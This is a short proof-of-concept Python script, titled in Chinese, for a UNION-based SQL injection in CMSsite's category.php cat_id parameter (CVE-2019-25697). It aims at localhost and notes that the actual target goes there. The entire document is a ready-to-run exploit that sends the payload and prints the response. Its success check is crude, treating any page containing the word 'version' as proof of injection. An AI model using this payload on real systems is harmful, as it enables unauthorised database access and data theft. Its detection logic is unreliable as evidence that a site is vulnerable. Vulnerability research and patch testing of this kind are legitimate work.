CVE-2019-25697 CMSsite SQL注入漏洞

import requests # Target URL configuration (Replace with actual target) target_url = "http://127.0.0.1/cmssite/category.php" def verify_sqli(): # SQL Injection Payload to extract database version # Using UNION based injection to retrieve version() payload = "-1 UNION SELECT 1, version(), 3, 4-- -" # Parameters to be sent in the GET request params = { "cat_id": payload } try: # Send malicious request response = requests.get(target_url, params=params, timeout=5) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars for analysis # Logic to verify if DB version appeared in response would go here if "version" in response.text.lower(): print("[!] Potential SQL Injection confirmed.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": verify_sqli()